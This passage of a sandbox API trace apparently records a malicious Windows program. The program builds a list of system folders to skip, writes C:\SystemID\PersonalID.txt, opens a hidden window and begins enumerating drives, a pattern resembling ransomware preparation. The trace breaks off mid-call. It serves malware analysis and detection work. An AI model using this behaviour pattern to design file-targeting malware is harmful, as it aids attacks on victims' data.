[0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x83a) returned 0x30bf098 [0264.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30bf098, cchWideChar=1053 | out: lpWideCharStr="C:\\ProgramData\\Package Cache\\") returned 30 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30bf8e0 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bf098 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30be010 [0264.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30be010, cchWideChar=1040 | out: lpWideCharStr="C:\\Users\\Public\\") returned 17 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30bf098 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30be010 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30be010 [0264.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30be010, cchWideChar=1040 | out: lpWideCharStr="C:\\$Recycle.Bin\\") returned 17 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c0128 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30be010 | out: hHeap=0x640000) returned 1 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x3f0) returned 0x3078220 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30727c0 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30be010 [0264.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30be010, cchWideChar=1040 | out: lpWideCharStr="C:\\$WINDOWS.~BT\\") returned 17 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c0960 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30be010 | out: hHeap=0x640000) returned 1 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x30bbac0 [0264.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1032 | out: lpWideCharStr="C:\\dell\\") returned 9 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30be010 [0264.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x812) returned 0x30bbac0 [0264.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1033 | out: lpWideCharStr="C:\\Intel\\") returned 10 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30c1198 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x818) returned 0x30bbac0 [0264.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1036 | out: lpWideCharStr="C:\\MSOCache\\") returned 13 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30c19c0 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x822) returned 0x30c21e8 [0264.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30c21e8, cchWideChar=1041 | out: lpWideCharStr="C:\\Program Files\\") returned 18 [0264.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c2a18 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c21e8 | out: hHeap=0x640000) returned 1 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x82e) returned 0x30c3250 [0264.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30c3250, cchWideChar=1047 | out: lpWideCharStr="C:\\Program Files (x86)\\") returned 24 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c3a88 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c3250 | out: hHeap=0x640000) returned 1 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x812) returned 0x30bbac0 [0264.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1033 | out: lpWideCharStr="C:\\Games\\") returned 10 [0264.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30c21e8 [0264.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81e) returned 0x30c3250 [0264.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30c3250, cchWideChar=1039 | out: lpWideCharStr="C:\\Windows.old\\") returned 16 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a3060 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c3250 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x848) returned 0x30c42c0 [0264.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab6f0, cbMultiByte=-1, lpWideCharStr=0x30c42c0, cchWideChar=1060 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x30c4b10 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c42c0 | out: hHeap=0x640000) returned 1 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc76) returned 0x30c5368 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c4b10 | out: hHeap=0x640000) returned 1 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x844) returned 0x30c42c0 [0264.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab6f0, cbMultiByte=-1, lpWideCharStr=0x30c42c0, cchWideChar=1058 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Local\\") returned 35 [0264.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x30c4b10 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c42c0 | out: hHeap=0x640000) returned 1 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc76) returned 0x30c5fe8 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c4b10 | out: hHeap=0x640000) returned 1 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x816) returned 0x30bbac0 [0264.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1035 | out: lpWideCharStr="D:\\Windows\\") returned 12 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a38e8 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x818) returned 0x30bbac0 [0264.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1036 | out: lpWideCharStr="D:\\PerfLogs\\") returned 13 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a4170 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x82e) returned 0x30c3250 [0264.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30c3250, cchWideChar=1047 | out: lpWideCharStr="D:\\ProgramData\\Desktop\\") returned 24 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c42c0 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c3250 | out: hHeap=0x640000) returned 1 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x832) returned 0x30c4af8 [0264.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30c4af8, cchWideChar=1049 | out: lpWideCharStr="D:\\ProgramData\\Microsoft\\") returned 26 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30c6c68 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c4af8 | out: hHeap=0x640000) returned 1 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5e8) returned 0x30c74c8 [0264.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3078220 | out: hHeap=0x640000) returned 1 [0264.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x83a) returned 0x30c4af8 [0264.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30c4af8, cchWideChar=1053 | out: lpWideCharStr="D:\\ProgramData\\Package Cache\\") returned 30 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30cf4b0 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30c4af8 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a49f8 [0264.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30a49f8, cchWideChar=1040 | out: lpWideCharStr="D:\\Users\\Public\\") returned 17 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c3250 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30a49f8 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a49f8 [0264.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30a49f8, cchWideChar=1040 | out: lpWideCharStr="D:\\$Recycle.Bin\\") returned 17 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30c4af8 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30a49f8 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30a49f8 [0264.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30a49f8, cchWideChar=1040 | out: lpWideCharStr="D:\\$WINDOWS.~BT\\") returned 17 [0264.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30cfcf8 [0264.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30a49f8 | out: hHeap=0x640000) returned 1 [0264.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.259] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e700, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0264.259] GetLastError () returned 0x3 [0264.259] GetLastError () returned 0x3 [0264.259] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0264.260] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e700, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x560 [0264.260] GetFileType (hFile=0x560) returned 0x1 [0264.260] GetLastError () returned 0x0 [0264.263] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.263] RegisterClassExW (param_1=0x18e978) returned 0xc11d [0264.263] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x200a4 [0264.270] NtdllDefWindowProc_W () returned 0x0 [0264.270] NtdllDefWindowProc_W () returned 0x1 [0264.272] NtdllDefWindowProc_W () returned 0x0 [0264.362] NtdllDefWindowProc_W () returned 0x0 [0264.362] ShowWindow (hWnd=0x200a4, nCmdShow=0) returned 0 [0264.362] UpdateWindow (hWnd=0x200a4) returned 1 [0264.362] GetLogicalDrives () returned 0x4 [0264.362] SetErrorMode (uMode=0x1) returned 0x0 [0264.362] PathFileExistsA (pszPath="C:\\") returned 1 [0264.363] SetErrorMode (uMode=0x0) returned 0x1 [0264.363] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x806) returned 0x30b5068 [0264.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e930, cbMultiByte=-1, lpWideCharStr=0x30b5068, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x30b5878 [0264.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b5068 | out: hHeap=0x640000) returned 1 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x6eb050 [0264.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b5878 | out: hHeap=0x640000) returned 1 [0264.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6eb050 | out: hHeap=0x640000) returned 1 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x6eb050 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6f1508 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x110) returned 0x7093c0 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x30b5068 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30df1b0 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10d0) returned 0x30b5880 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, 